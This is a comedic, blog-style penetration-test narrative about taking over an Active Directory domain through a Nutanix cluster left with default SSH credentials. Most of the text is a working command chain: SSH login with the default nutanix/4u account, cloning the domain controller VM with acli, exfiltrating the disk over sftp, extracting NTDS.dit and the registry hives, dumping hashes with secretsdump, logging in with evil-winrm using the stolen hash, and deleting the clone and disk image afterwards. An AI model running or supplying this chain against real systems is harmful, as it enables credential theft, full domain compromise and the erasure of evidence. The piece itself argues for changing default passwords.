October 13, 2025

The Nutanix Fable: A Grand, Extended Saga of Total Domain Chaos (The Beer-Fueled Edition)

“Alright, settle in. It was a Monday evening — the absolute worst day for a routine audit, which is precisely why I was doing it. I had a tall, frosty IPA sweating next to my keyboard, cracked my knuckles, and logged into the client VPN. Everyone assured me it would be ‘smooth sailing.’ Bless their optimistic, clueless hearts. Little did the blue team know, their quiet, expensive virtual infrastructure was about to become my personal digital sandbox. My first clue? The beautiful, exposed Nutanix CVM, practically performing a slow-motion wink at my scanner…”

Act I: The Original Sin (The Easiest Score Since Free Samples)

My methodology is pure, lazy genius: enumerate, enumerate, hibernate. Why work hard? My target, as always, was the Domain Controllers — the glittering crown jewels. But who bothers with phishing or dictionary attacks on some poor intern’s password when the master key to the entire virtual kingdom is just hanging out? I found the tell-tale range, and there, sitting smugly at 172.16.1.25, was the cluster’s Controller VM (CVM).

I launched my port scan, which is less “scanning” and more “tiptoeing through the mansion.” Found Nutanix Prism, checked the standard web creds. Nope. They actually changed it. Minor disappointment. I took a sip of beer. But then, there it was: SSH open. My heart started its familiar, joyful thump-thump-thump of pre-hilarity. Time for the most satisfying ritual: checking for the ultimate corporate negligence.

I fired up the old faithful, aiming for the ‘nutanix’ user:

The output flew by, and then, the music stopped. The digital universe sighed in unison. The ‘nutanix/4u’ popped up like a little congratulatory banner. I swear, the beer tasted better right then. I executed the final command like I was accepting an Oscar:

ssh [email protected]

…and bam — I was in. The Nutanix banner flashed, and I just shook my head, laughing softly. Years of consultants making millions preaching “Zero Trust,” and the fundamental, default credentials were still intact. This wasn’t a flaw; it was a laminated invitation to ruin.

Screenshot captured. Beer refilled. Time to hunt. Everything valuable is in the Acropolis namespace.

ls -lh /home/nutanix/data/.acropolis/vmdisk/

Dozens of cryptic files. But then, one UUID shimmered under the fluorescent office lights: 4c7d0e5b8a6f4c8e-20ac99a0701101ce. A quick cross-reference confirmed the glorious, hilarious truth: This was the Domain Controller's primary disk image. Privilege, in the world of virtualization, is just a few shell commands away from total, systemic breakdown. God, I love this job.

Act II: The Silent Coup (Cloning, The Beer Break, and The 180GB Weight)

My only ethical boundary is that I don’t trash their actual production environment. That would be messy. I prefer elegant destruction. The goal: steal the DC’s data without the DC knowing it happened. Solution? Clone the poor sucker right out from under itself using the Acropolis Command Line Interface (acli).

First, I found its name, patting it condescendingly.

acli vm.list
# Found you, little DC: DC01_Production_VM. Don't worry, this won't hurt a bit.

Next, the masterstroke. I told the Nutanix cluster to make an exact copy for my audit pleasure. It’s like pressing ‘Duplicate’ on a billion dollars worth of sensitive data.

# Clone the VM instantly. The perfect crime starts here.
acli vm.clone DC01_Production_VM AUDIT_DC_CLONE

The clone was born. Now, I just needed the disk file off the clone. I converted it to a standard, mountable format right on the CVM. Why tax my own machine?

qemu-img convert -f raw -O qcow2 nfs://172.16.1.100/StorageContainer/.acropolis/vmdisk/4c7d0e5b8a6f4c8e-20ac99a0701101ce_clone win_clone.qcow2

This is where the fun stopped and the reality of their storage provisioning hit me. The disk was a chunky, unforgiving 180GB. My eyes widened. An hour? Two? This wasn’t a sprint; this was a digital marathon.

I initiated the sftp transfer, watching the progress bar immediately slow to a geologic crawl.

sftp [email protected]
get /home/nutanix/data/win_clone.qcow2

I finished my first IPA. Went to the kitchen. Got another. Wrote the entire preamble of the report. The disk kept downloading. I started watching a documentary about deep-sea fishing. The irony wasn’t lost on me: Their negligence was forcing me to watch TV. Finally, after what felt like an entire tax quarter, the file completed. My laptop’s fan sounded like a Cessna taking off. The DC’s soul — all 180GB of it — was now sitting on my SSD. Glorious.

Act III: The Digital Throne (And the Very, Very Clean Getaway)

It was late, but the excitement was peaking. Forensics time. I mounted the stolen goods, treating the DC as nothing more than a giant external hard drive.

# Mount the qcow2 image
sudo modprobe nbd
sudo qemu-nbd --connect=/dev/nbd0 win_clone.qcow2
sudo mount /dev/nbd0p2 /mnt/ad_offline

I navigated right to the jugular. The NTDS.dit — the Holy Grail. Plus the required registry keys to break its encryption.

cp /mnt/ad_offline/Windows/NTDS/NTDS.dit .
# The three precious keys: SAM, SYSTEM, SECURITY
cp /mnt/ad_offline/Windows/System32/config/SAM .
cp /mnt/ad_offline/Windows/System32/config/SYSTEM .
cp /mnt/ad_offline/Windows/System32/config/SECURITY .

Now, the grand finale. The tool that translates bits into power.

python3 secretsdump.py -system SYSTEM -security SECURITY -ntds NTDS.dit LOCAL

A silent, shimmering waterfall of NTLM hashes cascaded down my terminal screen. Every user, every service, every secret. And there it was, the platinum hash: The Administrator NTLM hash. I swear I heard a choir of digital angels singing.

The last stage was purely for bragging rights. I used the hash to log directly into the live production DC, pwm01.corp.local. No password. Just pure, stolen privilege.

evil-winrm -i pwn01.corp.local -u Administrator -H <NTLM-Hash-from-secretsdump>

Instantly, I was the king. Domain Admin. The EDR was silent, the SOC was snoring. I had achieved total domain control through a 0-day vulnerability called “default passwords.”

The Meticulous Clean Sweep: Nothing to See Here, Folks!

My work was over. Time to delete the evidence with extreme prejudice. An auditor leaves the scene tidy.

First, that gigantic 180GB file that dominated my evening? Incinerated.

rm win_clone.qcow2

Then, the temporary clone I birthed on the cluster. Time for a rapid, merciful abortion:

# Deleting the temporary clone and all associated files. Poof!
acli vm.delete AUDIT_DC_CLONE

The clone is gone, the temporary disk files are purged, and the CVM is clean. I log out of SSH, take a final, deep swig of beer, and start writing the report. The only trace left is the truth.

Epilogue: The Screenshot Hall of Fame (and a Toast)

I raised my glass (now empty) to the screen, toasting their tragic oversight:

• The Hydra output confirming the utter idiocy of nutanix/4u.
• The SSH shell, the key to the kingdom.
• The acli command, proving I could clone their entire domain.
• The SFTP bar, a monument to the 180GB of patience I exhibited.
• The secretsdump.py stream, the list of names and passwords.
• The Evil-WinRM shell, the final, humiliating mic drop.

The Grand Moral (Said With a Drunken Philosophical Tone)

If you run anything with a default password, you’re not just being lazy; you’re actively contributing to my drinking fund. You are handing the attacker (or the auditor, who is often worse) an embossed, gilded invitation to ruin your entire security story. Change your defaults, use a unique password, and maybe, just maybe, I can get back to watching deep-sea fishing documentaries in peace.

Stay vigilant. Or prepare for your next technical report to be narrated with this much dark comedy.